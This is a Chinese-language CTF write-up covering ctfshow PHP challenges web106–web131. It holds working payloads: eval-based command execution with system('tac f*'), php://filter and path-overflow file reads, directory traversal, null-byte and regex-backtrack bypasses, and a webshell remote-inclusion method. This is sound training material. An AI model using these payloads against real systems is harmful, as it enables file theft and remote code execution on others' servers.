web106-web131php特性篇(二)

2023/07/09 19:35:16

web106

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
  $v1 = $_POST['v1'];
  $v2 = $_GET['v2'];
  if(sha1($v1)==sha1($v2) && $v1!=$v2){
    echo $flag;
  }
}

数组和转为0e都行,这里图省事使用了数组绕过。
image.png

web107 parse_str

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
  $v1 = $_POST['v1'];
  $v3 = $_GET['v3'];
  parse_str($v1,$v2);
  if($v2['flag']==md5($v3)){
    echo $flag;
  }

}

parse_str函数会存储值作为变量
image.png
因此题目的意思是将v1中flag值与v3中的MD5值相同,那么:
GET:?v3=hello
POST:v1=flag=5d41402abc4b2a76b9719d911017c592

web108 ereg null绕过和intval

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

ereg匹配函数,题目意思为c中只能出现字符,函数在NULL截断漏洞,%00截断绕过
strrev反转字符串
0x36d对应的数值为877,需要反转一次变为778。
组合起来payload:a%00778

web109 异常处理类命令执行

异常处理类:http://c.biancheng.net/view/6253.html

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

直接构造反射类(并没有想到,反射类还是没有太弄懂)
?v1=ReflectionClass&v2=system("tac f*")
也可以用exception类,详情见题目下方链接。
Exception 异常处理类 payload: ?v1=Exception&v2=system('cat fl36dg.txt')
同理:?v1=mysqli&v2=system('tac fl36dg.txt')
这些都是因为类的tostring魔术方法导致的执行。
也就是初始化一个mysqli类,但是实际上这个类的初始化时候传参不止这一个,所以是初始化失败的,但是由于其内部有魔术方法__toString:
如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。
这时候就可以echo出来了。
同样内部类Exception也是可以的,这个类会把传入的参数输出出来,也是由__toString方法。

备注:

反射类详情见web100方法二

web110 php内置类 利用 FilesystemIterator 获取指定目录下的所有文件

https://www.php.net/manual/zh/class.filesystemiterator.php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

利用 FilesystemIterator 获取指定目录下的所有文件 http://phpff.com/filesystemiterator https://www.php.net/manual/zh/class.filesystemiterator.php getcwd()函数 获取当前工作目录 返回当前工作目录
payload:?v1=FilesystemIterator&v2=getcwd

web111 引用变量和$GLOBALS 指针相关

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

想要执行getflag函数,那么v1必须为ctfshow,v2赋值为GLOBALS,这里运用到了全局变量。
然后再将v2的值赋给v1,再接着getFlag函数,打印v1,v1为全局变量的时候,即可打印出flag
实在没看懂,我们看看以下解释:
假设现在有以下两个变量:

$v1 = 'foo';  // $v1 的值为字符串 'foo'
$v2 = 'bar';  // $v2 的值为字符串 'bar'
$bar = 'i am bar';

现在调用 getFlag 函数,并将 $v1$v2 作为引用参数传递给它:

getFlag($v1, $v2);

在函数内部,"$$v1 = &$$v2;" 这一行代码将把 $v2 的引用赋值给了以 $v1 变量的值 'foo' 作为变量名的新变量。也就是说,在函数执行完毕后,我们得到了另一个变量 $foo,它指向了和 $bar 相同的内存地址。
因此,如果我们在调用 getFlag 函数之后输出 $foo 变量的值,应该会得到 $bar的值:

var_dump($foo);  // 输出 string(8) "i am bar"

测试如下:
image.png
PS:byd我最开始还让gpt忽悠了,后来反应过来了,改回来了。再提醒一下,不要忘记编程语言的基础,=是赋值,不是取等!

<?php
function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}

$v1 = 'a';
$v2 = 'GLOBALS';
$$v1 = &$$v2;
getFlag($v1,$v2);
?>

和指针类似,稍微理一下,也就是$a给予了和$GLOBALS相同的超全局变量。最后vardump的是$a。

备注

global和$GLOBALS:https://www.php.cn/php-weizijiaocheng-369541.html

web112

考点:php伪协议绕过is_file+highlight_file 对于php伪协议的使用

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

可以直接读文件?file=php://filter/resource=flag.php
除此之外,还有几种特殊的编码方式
file=php://filter/read=convert.quoted-printable-encode/resource=flag.php(这个之前没见过,注意一下)
file=compress.zlib://flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

web113

https://www.cnblogs.com/meng-han/p/16803560.html#:~:text=ctfshow%20web112%20%28%E4%BC%AA%E5%8D%8F%E8%AE%AE%E7%BB%95%E8%BF%87is_file%E5%87%BD%E6%95%B0%29%20%24file%20%3D%20%24_GET%20%5B%20%27file%27,%7D%20else%20%7B%20echo%20%22hacker%21%22%20%3B%20%7D%20%E8%BF%99%E9%87%8C%E7%9A%84is_file%E5%87%BD%E6%95%B0%EF%BC%8C%E5%9C%A8%E4%BD%BF%E7%94%A8php%E7%9A%84%E4%BC%AA%E5%8D%8F%E8%AE%AE%E6%97%B6%E5%80%99%E4%BC%9A%E8%BF%94%E5%9B%9Efalse%EF%BC%8C%E9%99%A4%E4%BA%86file%3A%2F%2F%E5%8D%8F%E8%AE%AE%E4%BB%A5%E5%A4%96%E3%80%82

考点:目录溢出

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

?file=compress.zlib://flag.php
除此之外,有个预期解:?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容。
原理:is_file函数能处理的长度有限,用/proc/self/root可以目录溢出

web114

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";

这个直接使用?file=php://filter/resource=flag.php就行

web115

考点:trim函数的绕过+is_numeric绕过

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

trim函数

语法
trim(string,charlist)

参数	        描述
string	        必需。规定要检查的字符串。
charlist	    可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0"       - NULL
"\t"       - 制表符
"\n"       - 换行
"\x0B"     - 垂直制表符
"\r"       - 回车
" "        - 空格

测试程序:

<?php
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'1';
if(trim($x)!=='1' &&  is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}

发现除了+-.号以外还有只剩下%0c也就是换页符了,所以这个题只有这一个固定的解了。
num=%0c36

*web123、web125、web126

https://blog.csdn.net/miuzzx/article/details/109181768

考点:php变量不允许出现. 传入[代替_ $_SERVER[‘argv’]

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

第一个问题是php变量名是不允许点的使用的:
比如可以测试一下:

<?php
var_dump($_POST);

输入 CTF_SHOW.COM=1
返回
array(1) { ["CTF_SHOW_COM"]=> string(1) "1" }

image.png
另外有一个知识点,使用[来代替下划线,具体原因未知,爆破脚本如下:

<?php
  function curl($url,$data){
  $ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
curl_close($ch);
return strlen($response);
}
$url="http://127.0.0.1/test.php";
for ($i=0; $i <=128 ; $i++) { 
  for ($j=0; $j <=128 ; $j++) {
    $data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123";
    if(curl($url,$data)!=0){
      echo $data."\n"; 
    }
  }
}

test.php:

<?php
if(isset($_POST['CTF_SHOW.COM'])){
    echo 123;
}

输出结果
CTF%5BSHOW.COM=123
另外

1、cli模式(命令行)下

	第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

	在web页模式下必须在php.ini开启register_argc_argv配置项
	
    设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

    这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

    $argv,$argc在web模式下不适用

因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING']
这时候我们只要通过 eval("$c".";");将$flag赋值flag_give_me就可以了。
payload如下:

payload:
get:  $fl0g=flag_give_me;
post:  CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])

非预期:

post: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
post: CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS)   题目出不来,本地测试可以
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

测试:

<?php
$a=$_SERVER['argv'];
var_dump($a);

传入 a=1+fl0g=flag_give_me
结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }

原理:

CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去
继续判断query string是否为空,
如果不为空把通过+符号分割的字符串转换成php内部的zend_string,
然后再把这个zend_string复制到 arr 数组中去。

web127

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];

//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

测试跑一下:

<?php
function curl($url){
    $ch=curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($ch);
    curl_close($ch);
    return strlen($result);
}
for ($i=0; $i < 128; $i++) { 
    $url="http://127.0.0.1/flag.php?ctf".urlencode(chr($i))."show=1";
    if(curl($url)!==0){
        echo urlencode(chr($i))."\n";
    }
}

flag.php

<?php
if(isset($_GET['ctf_show'])){
	echo 123;
}

以下的这些字符可以代替_

+ _ [ .  
+  这里的加号在url中起到空格的作用

出去过滤掉的字符,可以使用空格实现
payload:ctf show=ilove36d

总结

这种题需要有fuzz的技术,得学一下这个php就脚本的写法。

web128

考点:gettext(”_”)函数的使用+查看所有变量get_defined_vars

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}

function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

连续两次调用,而且会检查f1函数名称,特殊字符的函数只有_,所对应的函数为:
image.png
image.png
可以借由输出字符串
使用f1=_&f2=phpinfo就可以查看到php信息
由于题目有include('flag.php')可以直接输出所有变量:
payload:f1=_&f2=get_defined_vars即可

web129

https://blog.csdn.net/miuzzx/article/details/109181768

考点:stripos

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

image.png

方法1 远程文件包含

一个方法是远程文件包含,在自己的服务器上写一句话木马,然后保存为txt文档,然后如下使用:
f=http://url/xxx.txt?ctfshow
测试一下:
在根目录写一个一句话木马:
image.png
注意,一定要能访问得到,放在对应www或者wwwroot目录下
6c4d3974c2ebcc5e4389c8ca31c7cac.png
然后简单测试一下:
能够获取到,但是不能够rce
image.png
不知道为什么。

方法2 直接使用伪协议

?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
base64解密即可

方法3 目录穿越

/ctfshow/../../../../var/www/html/flag.php

web130、web131

考点:pregmatch最大回溯次数绕过

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
直接用python脚本即可:

import requests

url = r"http://44ff0304-988a-4fea-b5a4-4dcd7874d335.challenge.ctf.show/"
data = {
    'f': 'very' * 250000 + 'ctfshow'
}

r = requests.post(url, data=data)
print(r.text)
<?php
  echo str_repeat('very', '250000').'36Dctfshow';

image.png
除此之外还可直接:f=ctfshow后面接任意字符均可
或者使用空数组:f[]=ctfshow
但是131似乎就只能使用回溯超出做了。